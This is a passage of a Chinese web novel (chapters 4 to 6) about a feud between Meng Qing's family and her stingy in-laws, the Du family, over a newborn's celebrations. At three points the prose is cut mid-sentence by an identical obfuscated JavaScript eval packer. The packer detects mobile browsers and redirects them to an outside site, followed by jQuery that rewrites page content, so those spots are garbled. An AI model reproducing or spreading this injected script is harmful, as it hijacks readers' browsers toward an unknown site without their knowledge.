杜父听罢,他思量两瞬,说:“老二,你先回去,我跟你哥你嫂把剩下的五分田犁了再回。” “行。”杜黎帮他大哥把铁犁从水里拖起来,他拧干裤子上的水,招手说:“春弟,我们先回去。” 孟春跟他走,路上他毫不吝啬地把杜母的所作所为一一相告,他挑拨离间道:“姐夫,我真不明白,你爹娘把你的婚姻大事用来换钱供你弟读书,这个决定是他们自己做下的,怎么临了又看不上这桩婚事、瞧不起你的岳家?你爹娘难道对你就不愧疚?” 杜黎无地自容,他作为被剥削被压榨被轻视的一方,还得替他娘道歉:“她就是那样的人,我也没办法,你们可别生气。” 孟春见他垂头丧气,他也不好再上眼药,只能说:“我不生气,你娘瞧不起我我能少来,我主要是担心我姐受气,你俩是夫妻,你可要护着她。” “这个你放心,我会护好她。”杜黎承诺。 杜黎和孟青的婚事,明眼人都明白这是一桩交易。杜父杜母有三个儿子,待儿子全部长成,家里能有四百亩田地,可谓家底不薄,只要不赌不嫖,后辈们吃喝不愁。最宝贵的是还有个会读书的小儿子,前途有望。这种人家儿女的婚事是炙手可热,愿意跟他们对亲家的人家如过江之鲫,可杜父杜母却选择让二儿子娶个商户女,甚至明着说儿媳的嫁妆要上交,将来是杜悯上京赶考的路费。 作为嫁女的一方,孟家人对杜黎在家里的地位心知肚明。孟春觑着杜黎,被当做弟弟赶考路上的粮草,如此被爹娘轻贱,他不信他心里没意见。 两人一路说着无关紧要的闲话,进村后,孟春寻个借口落后一步,让杜黎先回去。 杜黎到家先去问候丈母娘,身上的湿裤子都没换,出来之后他一头钻进灶房,憋着气问:“娘,今天准备了哪些菜?” “你自己不会看?”杜母恼火地说。 陶釜里炖着草鱼,菜篮里装着老崧菜,盆里装着豆腐,还有一砵绿豆芽,除此之外什么都没有了。 “昨晚逮的母鸡呢?你给放跑了?”杜黎问。 杜母挡着食橱,说:“早上我杀鸡的时候让它跑了。” 她就是故意不给孟家人吃,气死他们。 “我再去撵一只。”杜黎二话不说就往外走。 “你站住!”杜母瞪眼,“有鱼还不行?杀什么鸡?” 杜黎没听,他出门去粮仓抓两把糙米,嘴里咯咯咯地唤鸡。 “有鸡,我杀鸡了。”杜母跑出来拦,“鸡在食橱里,我看时辰不早了,鸡炖不烂,就没炖。” 杜黎像是没听见,他走出院子撒米喂鸡,鸡群聚过来,他瞅中一只最肥的老母鸡扑过去掐住脖子。杜母来拦,他避开她抢夺的手,举着扑棱的鸡,一把拧断脖子。 “你要死啊!发什么疯?”杜母气得捶他,她鼓着眼骂:“日子不过了?是不是有人挑唆你?” “我就想不通了,我难不成是野种?我媳妇生个孩子,她娘家人来看望,连只鸡都吃不上。”杜黎双眼冒戾气,他把鸡砸他娘怀里,盯着她说:“你再这样,我把家里的鸡鸭都掐死,灶台也给砸了。让我没脸,你们也别过了。” 杜母被吓住了,她不闹了,一声不吭地拎着死鸡离开。 杜黎气得五脏发疼,他掐着腰粗重地喘息,心里却觉得痛快极了。他从小就被爹娘忽视,长大还得当老黄牛给家里干活儿,婚姻大事都是他们换钱的筹码,他想反抗想抗争,但他是他们生的,从小到大没饿着他,他有意见就是不知足,敢闹就是不孝。如今他娶了媳妇,还是他爹娘不喜欢的媳妇,他可算有机会有名头抗争了。 痛快过后,杜黎又茫然失落,他在这个家生活二十一年都没有控诉爹娘偏心的资格,却在娶了媳妇之后,有了要求父母公平对待的资格。 真是荒谬。 孟母透过门缝往外看,外面消停了,她轻手轻脚离开,站在床边低声说:“女婿还行,不是那等在爹娘面前不敢吭声的窝囊废。” “娘,你老实跟我说,他娘是不是又闹幺蛾子了?”孟青在杜黎之前进门时就察觉到不对劲,他对着她娘一副抬不起头的样子,不是正常反应。 孟母想了想,她择去江婆子骂她的话,把江婆子指责她穿衣的话告诉女儿,话落她立即劝:“女婿已经跟她吵过了,我也消气了,你不用生气,别把奶气没了,最后受罪的是你儿子。” 孟青没答应,她若有所思地盯着地面。 孟春在村里转悠一圈回来,他在门外敲门:“姐,我能进去吗?” “进来。”孟青开口。 孟春推门进来,他笑呵呵道:“我来看看我外甥,他是醒着还是睡着了?” “睡着了,你说话小声点,到床边来看。”孟母让出位置。 孟春坐过去,他看看小孩,又看看孟青,他关切地说:“姐,你脸色不好看,是不是在杜家没吃好?我跟娘这次来给你逮了十五只母鸡,你让我姐夫盯好了,两天炖一只,你好好补补。” 孟青点头。 “等你出月子,你还搬回去住吗?”孟春问起他最关心的,“你不在家,家里冷清许多。” 孟母拍他一巴掌,“少胡说八道,出去看你姐夫在忙活啥,给他帮忙去。” 孟春冲孟青做个鬼脸,他起身离开。 孟母跟出去,她在门外压着声问:“你是不是跟你姐夫告状了?” 孟春嘿嘿笑。 孟母意味不明地轻拍他一巴掌,含着笑说:“帮你姐夫做事去。” 杜母在灶房看见这俩贼母子有说有笑的,她气得大力抡刀,剁鸡剁得梆梆响。 孟母朝灶房看一眼,既然看不上她,她就不过去帮忙。她转身回屋,把包袱里给孩子做的小衣小帽和小被都拿出来。 一直到杜父和杜明夫妻俩赶牛回来,孟母才出去说话。 杜黎看人都到齐了,他把他煮的艾蒿水端出来,把孩子抱出来放水盆里清洗。 孟母和孟春各拿出一百文丢在洗澡盆里,孟母担心孩子会冻着,她念几句祝福词,摊开襁褓把孩子一裹,迅速送回屋里。 孩子洗三是外家破财,杜家人起个观礼的作用,水一泼,人就散了。 “饭还没好?”杜父饿得前胸贴后背,心里闹得慌,他使唤大儿媳:“去给你娘帮忙,怎么搞的,就这几个人的饭菜,她做半天都没做好。” 李红果也累得要死,她一上午在水田里走来走去,累得腿打飘,回来闻到饭菜香,肚腹里闹起饥荒,身上越发没力气。她进灶房看一圈,发现豆腐炖鱼和蒸饭都好了,她出去说:“爹,只差个炖鸡和崧菜汤了,要不你们先吃?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825233|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,那就端菜。”杜父说,他看向孟母,客套道:“亲家母,招待不周啊,今天随意吃点,等孩子满月,我请厨子来做菜。” “老哥客气了。”孟母对杜老头的态度满意。 一大盆草鱼炖豆腐端上桌,杜黎先舀半碗给孟青端去,“你先少吃点,釜里炖的还有母鸡,炖好了我给你送来。” 孟青点头,接碗时,她顺手握住男人的手,眼睛也怜惜地望着他,“杜黎,你还有我和望舟,不论你爹娘怎么看你,你在我和孩子心中永远排头一位。” 杜黎心里一酸,他习惯性要扯出不在意的假笑,这次却笑不出来。他的伪装被撕破,他下意识想逃。 他嘴角抽动两下,干涩地说:“吃饭吧,我也去吃饭了。” 孟青松开手,望着杜黎逃似的快步走了,她轻轻一叹。 中堂,孟母等杜黎落座才拿起筷子,刚要下筷挟菜,她似是突然想起还少个人,“老哥,让大侄媳妇也来吃饭吧,她下地干活儿饿得快,不能我们吃让她饿着。” 杜父已经扒上饭了,他使唤孙子去喊人。 锦书是个机灵的,他跑去灶房,说:“娘,我爷喊你去陪客,桌上只有潘奶奶一个女的,他喊你去招呼。” 李红果迅速放下火钳,她起身说:“娘,那我去了?” 杜母黑着脸没吭声,李红果洗洗手走了。 杜母气得猛踹灶台,都拿她当厨娘使! 人多菜少,盆里的鱼迅速见底,在座的人不好再动筷,纷纷放下筷子唠嗑。 “老哥,今年你家田地多啊,种得过来吗?要是种不过来,让我家小子留下帮忙。”孟母说。 “打算请两个帮工,能种得过来。”杜父可不敢用孟春,这小子就没接触过农活,一不会插秧二不会挑担,留下来也是多一张嘴吃饭。真使唤他干活儿,出于人情,等水稻收割了,还要给孟家送两石米,越发亏。 “姐夫,我留下来给你帮忙。”孟春跟杜黎说。 “地里的活儿累。”杜黎不觉得他小舅子是能干农活的人。 “没事,我累了就回来歇着,还能帮我姐哄孩子。”孟春早有主意。 杜父:…… “行,那你今天就别走了。”杜黎答应下来。 杜父强笑,“行呐,你来帮忙,等水稻收割了,我叫你姐夫给你们送两石新米吃。” “可别,你们种庄稼不容易,家里还供着个念书的,负担大,有多的粮食就卖了,别给我们送米。我家挨着漕运渡口,离米行不远,买米方便,你们别费这个事。”孟母连连拒绝,米又不贵,一百文能买一石米,她吃多少买多少,也免了存米长虫的烦恼。 “两石米不值多少钱,送给你们吃也亏不了多少,就是运到城里麻烦。”杜父顺着她的话说,“还是你们住在城里方便,买什么都方便。你们做生意赚钱也容易,还是不种地的好,累死累活种两亩地,就收两石米。” 听到这话,孟母心里不舒服,江婆子前脚骂商人低贱,杜老头后脚酸商人赚钱容易。她气不顺地说:“老哥,你这话不对,肯定种地好,种地的人生个儿子长到二十一岁,朝廷就给发一百亩田地,你有三个儿子,还有两个孙子,以后再多生几个孙子,你杜老丁可是有大几百亩田地。” 杜老丁抑制不住地笑露一嘴黑牙,嘴上却愁苦地说:“哪有那么多的地分下来,直到前年,我大儿子的一百亩田地才补齐,之前只有七十亩。今年轮到老二,他才分到五十亩,剩下的五十亩还不知道哪年能分下来。等锦书和望舟长大,那时候不知道还有没有田地能分。” “就是没田地可分,你家的二百五十亩田也能养活几代人了。”孟母酸得要死,商人名下不能有田地,她家连个菜园都没有。 “不会没田地可分,人死了,他名下的八十亩口分田就会收归官有,然后再分下去。”杜黎插话,“年年有人死,年年有孩子出生,田地就如太湖里的水,有流出去的也有流进来的,土地是分不完的。” “还是当农户好啊。”孟春羡慕。 “你这辈子是没这福气了,不过你外甥以后会是农户,他能分到田地,这可是沾我们杜家的光。”杜父高兴过头了,一不小心露出真实的嘴脸。 5. 第五章 沾杜家的光?孟母笑了,她看向杜黎,问:“女婿,望舟姓孟还是姓杜?” “姓杜。”杜黎很配合。 孟母扭头看向杜父,她直呼其名:“杜老丁,望舟不是你孙子?还是杜黎不是你儿子?他沾你杜家什么光了?他是你杜家人,不是外人。” “婶子,你说话客气点。”一直闷头扒饭的杜明抬起头。 孟母瞥他一眼,压根不搭理他,她盯着杜老丁问:“杜黎跟孟青的婚事是你们同意的,一百二十贯的嫁妆钱你们也收了,这是我们两家你情我愿的事,孟青没高攀吧?现在钱你们收了,又瞧不起人,连带还瞧不起她生的孩子?” “没有没有,是我昏头说错话了。”杜父暗悔,他讪笑着认错。 孟母不接腔。 “老大媳妇,你去灶房看看,鸡汤还没炖好?”杜父为缓解尴尬,扭头说起其他。 李红果起身离开,片刻的功夫,她端来一盆黄澄澄的鸡汤,主动招呼说:“婶子,碗给我,我给你舀鸡肉。” 孟母没动。 杜黎俯身拿过她的碗递过去,孟母斜他一眼,看在他的面子上,她脸上的表情松了松。 李红果给孟母盛一碗好肉,杜父接过去,他倾身递碗,好声好气地说:“亲家母,你别气,我一个农家老汉,嘴拙不会说话,真没你说的那个意思,你别见怪。” 他做到这个份上,再计较倒显得她没理,孟母吁一口气,她接过碗。 “娘,春弟,你们先吃,我给青娘送一碗去。”杜黎起身打招呼。 孟母见他如此作态,心里的悔意去了些,杜家人不好,好歹杜黎是个好的,夫妻俩能相互体谅相互照顾,能抵消生活里的许多不痛快。 草草吃完一顿饭,孟母不想再待下去,她提出要离开。 杜父没留客,他跟杜黎说:“老二,你送你丈母娘去渡口等船。” 孟母跟孟青说一声就离开,杜黎和孟春跟在后面。走到没人的地方,杜黎跟孟母道歉:“娘,你今天在我家受不少气,真是对不住。” “唉……”孟母长叹一声,“怪不了你,算了……我只盼着你对青娘好点。” “娘,这点你不用担心。你是知道的,我爹娘偏心我大哥和我三弟,不怎么喜欢我,这种情况,我和青娘还有孩子才是一家的,我要是还亏待她,我就是瞎子傻子,这辈子活该没人心疼。”杜黎情绪有点激动。 孟母高看他一眼,她趁机拉拢道:“他们不心疼你,娘心疼你。我家就孟青和孟春两个孩子,孟青嫁给你,你是我女婿也是我儿子。等农闲了,你和青娘带着孩子回家,去城里住一段日子,我跟你爹都高兴。” “对,姐夫,你们常回来,家里只有我跟爹娘,别提多冷清了。”孟春帮腔。 “行,我以后和青娘常带孩子回去看你们。”杜黎说。 靠近渡口,河边的石阶上有村里人在捶洗衣裳,三个人不约而同地转移话题。 一柱香后,一艘运菜运蛋的乌篷船路过,杜黎上前问话:“船家,你这船是进城还是去哪儿啊?” “进城,要搭船?我船上菜多,只能再多坐一个人。”摇橹的船家说。 孟母快步走下石阶,说:“就我一个人搭船,我到吴门的鱼市下船。船资多少?” “五文钱。”船家撑船靠近石阶,说:“快上来。” “娘,我背你过去。”杜黎踢掉草鞋,他光脚踩上浸水的石阶,俯身背上孟母送她上船。待她站稳,他从袖子里掏出一把铜子。 “哎哎哎!我自己付钱。”孟母推他。 “我给,我给。”杜黎侧身挡住她,他数七个铜子递给船家,说:“给你七文钱,你把我岳母送到吴门里的嘉鱼坊。” 孟家住在鱼市附近的嘉鱼坊,孟母要是从鱼市下船,不另搭船的情况下,从岸上走要过一条河两个桥,至少要半柱香的功夫。 “行。”船家答应,他笑着跟孟母说:“大嫂子,你这个女婿孝顺啊。” 孟母面上无奈,心里满意,她指指杜黎,说:“你啊,我从鱼市下船就行。算了算了,我走了,你赶紧回去干活儿吧。” 杜黎帮忙推一把船尾,助船离开岸边,他踏水上岸,穿上草鞋带孟春回家。 “我给你拿一身我的旧衣裳换上,田里泥水脏,别弄脏了你的好衣裳。”杜黎说。 孟春低头打量一眼,这身衣裳是他今年开春新做的,的确不适合下地干活儿。 “你今天下田试试,犁田插秧不轻松,你要是受不住,明天就回去,别硬吃苦头。”杜黎交代他。 “我要是累得受不住,我就留在家里帮我姐照顾孩子。”孟春是打定主意要留在杜家,他姐不出月子他不走。 杜黎抬手拍他的肩,他羡慕道:“难怪你姐疼你,你们姐弟俩的感情真好。” 孟春骄傲:“我从小跟我姐一起长大,我俩的感情是最好的。” …… 杜家,巧妹蹲在院子里玩蚂蚁,她听见说话声靠近,见是她二叔和望舟他舅舅回来了,她站起身小声说:“二叔,我奶和我哥去地里摘桑叶了,留我在家守着二婶。” “待会儿给你拿糖吃。”杜黎说着,他推门进屋,孟青和孩子都睡着了,他轻手轻脚开箱拿身旧衣裳出去。 “我带你去我三弟屋里换衣裳,你晚上也睡他屋。”杜黎说。 孟春跟他走,穿过中堂打开一扇门,门后是杜悯睡的屋,屋后墙上还开有一扇门,门上挂着铜锁,锁住的是杜悯的书房。 听过杜黎在他娘面前的表态,孟春拿杜黎当自己人,他小声问:“姐夫,你娘会不会不让我睡你三弟的房间?” 杜黎捶他一下,“换了衣裳快出来。” 孟春笑一声,开始解扣子换衣裳。 杜黎则回到南屋,他把袖中余下的铜子放回木箱,从屉子里拿出装麦芽糖的油纸包,拿出去让巧妹吃。 “二叔,我今天不出去玩了。”巧妹舔着糖保证。 “你奶回来你就能出去玩。”杜黎说。 孟春换好衣裳出来,他比杜黎矮三寸,但比杜黎要胖一些,杜黎的衣裳穿在他身上勉强合身。 “走。”杜黎带他去干活儿。 杜家晌午饭吃得晚,孟春和杜黎去渡口送孟母耽误不少时间,去干活儿的路上又耗一柱香的功夫,下田牵牛犁田的时候已经不早了。 天黑收工,孟春就干了一个多时辰的活儿。回去的路上,他轻快地说:“也没有很累嘛,姐夫你说得严重了。” 杜黎没解释,插秧的时候他就知道累不累了。 到家,杜母已经做好晚饭,用晌午没吃完的鸡汤煮的粥,还有晌午没能上桌的焖豆芽。 孟春看看饭又看看菜,问:“我姐吃了吗?她跟我们吃一样的饭菜?” “没亏待你姐,她比我们多一碗炖蛋。”杜母没好气地说,“吃吧,她已经吃过了。” 杜黎晌午跟她闹了一通,杜母没敢再生事,再不喜孟家,再不喜姓孟的儿媳妇,她也只能压下心里的厌恶,老老实实照顾孟青坐月子。 “我姐不喜欢吃白水炖蛋,我们逮来的母鸡,你隔一天宰一只炖给她吃。”孟春交代,又补充说:“她吃不完的我们也能吃,叔干活儿累,给他补补。” 杜父:…… 怎么又牵扯到他了? “对,隔一天宰一只,亲家出鸡你出力,好好给老二媳妇补补。”杜父老好人般的出声嘱咐。 杜母没说话,心里则咬牙切齿地嘀咕,谁坐月子要吃这么多的鸡。 “爹,我三弟不在家,我小舅子晚上睡他的屋。”杜黎跟杜父说。 杜母刚要反对,就听老头子说:“行,他睡阿悯的屋,雇来的帮工睡东厢。他娘,你把东厢的织机收拾收拾,铺两个草铺出来,帮工来了睡。” “……我晓得了。”杜母只能听他的。 “你明早早早去城里一趟,带两个手脚麻利的帮工回来。”杜父跟杜黎说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825234|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我去吧。”杜明开口,去城里雇帮工,一来一回就是一天,多数时间都在船上,人不受累。 “也行,那就你去。”杜父改口。 杜黎没吭声,他侧过身看向屋外,是有孩子的哭声。他放下碗筷去南屋,进门看孟青在敲火镰点火。 “我来我来。”他接过火镰,看向床上问:“这小子哭啥?” “尿了。”孟青揉脑门,“是不是要下雨?屋里闷得很,憋得我头晕。” 火镰击打出火星迸溅到油盏里,火星遇油嗖的一下蹿起火苗,屋里瞬间亮堂了。杜黎放下火镰,他用手背摸一下她的额头,没发热。 “你除了头晕,还有旁处不舒服吗?今晚天上有星星,明天没雨。”他说。 “那就是我睡多了。”孟青伸个懒腰,说:“你吃饭去吧,再晚一会儿没饭了。” 杜黎去抱哇哇大哭的小子,他给他换上干净的尿布,扭头说:“用艾蒿水洗过,他身上的味好闻多了。” 孟青抬手闻自己身上的味。 杜黎立马解释:“我可没这个意思。” “过个几天,等我身上干净些了,选个大晴天,你给我烧一桶艾蒿水,我也擦洗擦洗。”孟青说。 “你身上没味,不用洗。”杜黎口风不改。 “我鼻子又没坏。”孟青走过去抱过孩子,说:“快去吃饭。” 杜黎这才走。 * 此时的孟家也在吃饭,谈起白天的事,孟母气得大骂,骂过后她赌气说:“以后外孙过满月和过周岁,你去杜家,我来守店,我不去受那个气。” 孟父不信,他咂一口酒,粗声说:“你不去亲眼看看你能放心?” “看过也不放心。”孟母看他还有心情喝酒,她气得夺走他手里的酒碗,自己一口给闷了。 “杜家死抠门的,今天整的什么席,连口酒水都没有。”她擦着嘴抱怨。 孟父哈哈大笑,他搬起酒坛子又沏半碗,说:“你少操心,你自己生的女儿你不了解?她不会吃亏,走着瞧吧。” …… 孟青安安静静地躲在屋里坐月子,洗三过后,门外的事她一概不打听,一心扑在保养自己和喂养孩子一事上。她安静无声,温顺得宛如变了个人,让跟她一起长大的孟春觉得十分陌生,也很是难受。 三月二十一,离孟青出月子还有十天,杜家的早稻都种上了,一家人着手准备在田埂和地势高的水田里种黄豆。 “小弟,你该回去了。”孟青坐在床上看着孟春熟练地给孩子洗屁股。 “等你出月子,我外甥过完满月我再回。”孟春头也不抬地说。 “你回去替我办个事,你去瑞光寺找大伯,想尽法子把他缠过来,让他在望舟满月那天多带些小沙弥来吃席。要是娘同意,让她把咱们的三个舅舅也请来,人尽可能多来。”孟青噙着坏笑说。 孟春没反应过来,他愣愣点头,“要给望舟大办满月宴是吧?你公婆能同意?” “客人上门哪有不招待的,说出去丢人。”孟青白他一眼,“这时候犯什么傻?我问你,我公婆最心疼什么?除了杜悯就是钱。他杜家要了我孟青的嫁妆,自己干着卖儿子的勾当,还有脸瞧不起我孟家人。我这次就要他们出点血,给他们长个记性,我孟青可不是好欺负的。” “你回去先去寺里缠大伯,一定要让他来。他同意了,你就搭船过来通知杜家多准备席面。”孟青交代。 孟春大喜,他拍胸脯保证:“这事我一定给你办妥了。” 这才是他姐的性子。 孟青笑,江南崇佛之风盛行,追逐科举的学子更是追崇佛学,杜悯也不例外,受他影响,杜父杜母每逢年节也会去寺庙拜一拜。这次有和尚上门,他们再肉疼,哭着也得整治几桌好席面,整差了可不好再去佛祖面前求保佑。 更巧的是,这时候的和尚大多还没有茹素,是大口吃肉大口喝酒的主,吃的是羊肉,喝的是好酒。 6. 第六章 孟春按捺住兴奋,满怀欣喜地离开杜家。 他回城下船之后,家都没回,直奔瑞光寺,却在山下撞见杜悯和他同窗从寺里出来。 “杜三哥,顾学子,你俩今天怎么没在书院念书?这个月我都见你们两回了。”孟春纳闷,这念的什么书,动不动就跑出来游玩。 “一空大师今日讲经,我们随夫子一起过来辩经。”杜悯说。 顾无夏一手背在身后,他斜看孟春一眼,好笑地说:“小兄弟,上蒙学才要天天坐在私塾里念书背书,能进崇文书院的,书上的文章已经刻在脑子里了,紧要的是领悟文章,要有自己的见解。我们需要常出门走动,多长见识。” 孟春话是听明白了,但他不理解,他只知道住在书院却时不时在外走动,交给书院和夫子的束脩岂不是白给了?多花多少冤枉钱啊。 “孟兄弟,你这是从哪儿过来?”杜悯问。 “你家,我在你家住了十七天,帮你父兄犁田插秧。”孟春故意盯着他说。 杜悯脸上一热,他讷讷道:“我、我……” “时辰不早了,我们抓紧时间回城,下次有机会再聊吧。”顾无夏打岔。 杜悯尴尬得恨不得钻地,他匆匆撂下一句改日去家里拜访的话,逃似的走了。 孟春心里一乐,被他们一耽误,他不急着去瑞光寺了,溜溜达达去纸马店。 孟家纸马店外竖着一个醒目的花圈,花圈上的花是用淡黄近灰的麻布缝制的,中间大大的“奠”字也是绣的,放在太阳下不担心会晒坏。纸马店两旁也是卖丧葬用品的明器店,是寺庙的私产,不过不是做纸扎的,是卖陪葬用的陶俑以及各种陶器,这类明器店的客人是富人和贵人,盈利丰厚。 孟母在守店,见着孟春,她诧异道:“你咋回来了?我还想着你要等望舟过完满月才回来。” “有事,有大事。我爹呢?回去吃饭了?”孟春问。 “嗯,你还没吃饭吧?” “没有没有,娘,你把铺子关了,我们回去说。”孟春神秘兮兮的。 孟家纸马店距嘉鱼坊有二三里路,回去的路上,孟春耐不住,先把孟青吩咐他的事交代了。 “娘,你不会阻拦我姐吧?”他小心地问。 “请和尚去给我外孙祈福,我还会有意见?”孟母恨不得拍手叫好,她痛快地说:“我叫你爹跟你一起去寺里,有他在,你大伯好说话些。你舅舅们那里我去通知,他们送礼的钱我们出,人去就行,老的小的都去。” 母子俩达成一致,到家后,由孟母通知孟父。 孟天水也是不怕事的,当即就同意了。 未时末,孟父和孟春走进瑞光寺,洒扫的小沙弥认识他们,迎上来问:“孟施主,可是来找空慧大师的?” “对,他这会儿闲着吧?”孟父问。 “刚送走一个香客,这会儿估计不忙,我带二位过去。” 三人来到寺后的禅房,小沙弥禀报过后,孟家父子俩一前一后走进去。 禅房里点着香,一个肥头大耳的富态和尚盘腿坐在蒲团上闭眼打坐,他长有一对佛耳,幼时就因为这一对佛耳,被路过的和尚要走入了僧道。 孟父和孟春没出声打扰,二人各寻个蒲团跪坐下去安静地等着。 一柱香燃尽,空慧睁开眼,他看向孟父,用俗家话称呼:“二弟,寻我有事?” “来给你报喜,青娘在三月初一的晌午生下个小子,再有几天就满月了。”孟父笑着说,“你当伯外公了。” “孩子取名了?”空慧以为他是来讨名的。 “叫望舟,孩子小叔起的。” 空慧颔首。 孟春在腿上搓搓手,他看他爹一眼,探头讨好地开口:“大伯,我们想求你个事,望舟满月那天,你能不能带些小沙弥去给他念几遍金刚经祈福?也给我姐长个脸。你不知道杜家老两口可气人了,他们看不起我们孟家人,嫌弃我们是商户,连带也嫌弃我姐生的孩子。” 空慧沉思片刻,他开口说:“我安排一个弟子过去,带小沙弥就算了,人多,路费和席面开支不少。” “目的就是让杜家多花钱,他们收了我们孟家给的嫁妆钱,用着我们的钱却看不起我们的人,世上哪有这种好事。我们就要给望舟大办满月宴,给他们找不痛快。”这话孟父来说。 空慧无奈摇头,“你啊你,还是这个脾气。” 他不想过多掺和俗家琐事,无意多劝,只明确地问:“你想好了?主意不改了?” “不改。”孟父坚定地回答。 “行,我让慧明带些小沙弥跟你去。我就不去了,初一那日寺里有法会,我走不开。”空慧说。 “也行。”孟父见好就收,瑞光寺地位最高的和尚法号是一,接着是空,空慧在寺里是师父师叔师祖的辈分和地位,非寻常人能见,能请动他的非世家就是士族,他这个亲弟弟也没那个面子。 两人虽是亲兄弟,却没多少情谊,空慧出家的时候,孟天水还没出生。二十五年前,空慧能从瑞光寺的私产里昧下一块地给他,让他盖房设店卖纸钱和香烛做营生,算是佛心还没修出苗头。 孟春心里暗暗咋舌,他心想幸亏杜悯和顾无夏在山下绊了他一下,要是真让他孤身一人上来,他在他大伯这里估计要吃瘪。 孟父跟空慧又闲聊几句,他也坐不下去了。 “时辰不早了,你们下山吧。”空慧开口。 孟父立即起身,“你忙,我们不打扰你了。” 父子俩走出寺庙,两人站在山门前大吐一口气。 “我大伯不愧是高僧,在他面前我都不敢大声说话。”孟春嘀咕。 孟父不接话,“走走走,回去吃饭。” * 五天后,孟春搭船去杜家湾,靠近渡口时发现杜悯也搭船回来了。两人在渡口相遇,他故意问:“杜三哥,回来帮家里干活儿啊?” 杜悯察觉到他的讽意,他心头微恼,但不跟他计较,他大大方方说:“孟兄弟,上次见面忘记跟你道谢了,多谢你来我家帮忙。” 他正儿八经地道谢,孟春觉得没意思,没了趣味,他也就不提了。 二人一同前往杜家,正好赶上杜家吃午饭,杜母见小儿子回来,笑得脸都要烂了,忙前忙后地端水递饭,把孟春这个正经的客人撂在一旁。 甑锅里没饭了,杜黎把自己碗里的米饭拨一半分给孟春,他纳闷道:“你咋又来了?干活儿没干够?” 孟春端着碗没吃,他笑看着杜父杜母,说:“我是来报喜信的,我大伯是瑞光寺的空慧大师,你们也都知道。他最喜欢我姐了,得知她生了,他打算派他的亲传弟子慧明大师带些小沙弥来给望舟庆满月,也让你们杜家在杜家湾长长脸。大伯,大娘,你们多准备六七席酒菜。” 杜父杜母呆住了。 杜黎嚼着嘴里的米饭,他目光定在孟春身上,顿时明白这小子跑回城做什么去了。只是孟青没跟他透露,难不成是怕他阻拦? “这、这……好事,是好事……就是要多准备六七桌席面?这是要来多少个和尚?”杜父气得嘴角抽搐。 “有二三十个吧,我舅舅他们也要来,合起来有四五十个人。大伯,你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825235|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌客多,主要是他们也是寻常人家,没见过僧人给孩子祈福过满月的,想来长长见识。”孟春一副与有荣焉的表情,很是夸张地说:“大伯,这种好事百年难一遇,以后你们在十里八乡可有面了。” 杜父有苦难言,又不是给他做寿,他要这种面子做什么。何况和尚又不送礼,给他们置办席面是肉包子打狗有去无回,这得多少钱啊! “爹,娘,这是好事,你们好好招待师傅们。对了,你们记得多准备一桌席面,到时候我带几个同窗回来,我之前去参加过他们准备的文会,一直没机会回请。”杜悯环顾一圈,他斟酌着开口。 杜父强扯出笑,“行,你带回来……” 杜母黑着脸不说话。 杜明一脸的不高兴,这一场满月宴粗略一算要花七八贯钱,一季的早稻全搭进去了。 李红果心里也不是滋味,不过她不是计较钱,花的又不是她的钱,这笔钱就是不花在望舟身上也是花在杜悯身上,轮不着她,她只是心酸她的儿子没有过这么大的排面。 一顿午饭无滋无味地结束在沉默声中。 杜悯是回来拿钱的,他吃过饭拿到钱就跑了,孟春跟他一起溜走。 当晚,杜家就吵起来了,老两口在西厢大声吵,李红果和杜明在北屋小声吵。 唯有南屋没动静,孟青和杜黎躺在床上安静地听着,望舟也乖巧地不吱声。 “二房的孩子才满月就花七八贯钱,你儿子长到八岁也没花这么多的钱,这不公平。你去跟你爹娘说,我们锦书要念书,今年就送他去上蒙学。”李红果坐在床上低声说,她心里非常不痛快,越想越难受,忍不住抱怨:“你一门心思供养你兄弟,你想没想过你儿子?” “三弟每次回来不是会教他和巧妹认字,再说锦书的心思也不在读书上。”杜明嘟囔。 “你三弟每次回来待多久?能教他认几个字?”李红果踹他。 杜明猛地起身,他发火大骂:“够了啊!家里有几个钱?那个在算计,你也在算计,我们杜家咋就娶了你们两个败家娘们。” 李红果气得大哭,她一夜没睡,第二天一早就收拾衣裳带上儿女回娘家了。 满是鸡屎的院子没人扫,鸡草没人割,饭没人做,水没人挑,衣裳没人洗,蚕也没人喂……杜母看着乱成一团的家,她气得坐地大哭。 杜父阴着脸踹杜明,“你们两口子又闹什么?日子不过了?” “她要送锦书去上蒙学。”杜明抱着扫帚闷声开口。 杜母一听,她爬起来冲向南屋,杜黎拦住她,“你干什么?想让我妻离子散?” “你给老娘滚开!孟青,你给我出来!”杜母大喊。 孟青衣着整齐地拉开门,她气色颇好地站在门内,一派平静地问:“娘,你这是做什么?” “我做什么?你满意了?你把家里闹成这个样子你满意了?”杜母嘶声力竭地喊。 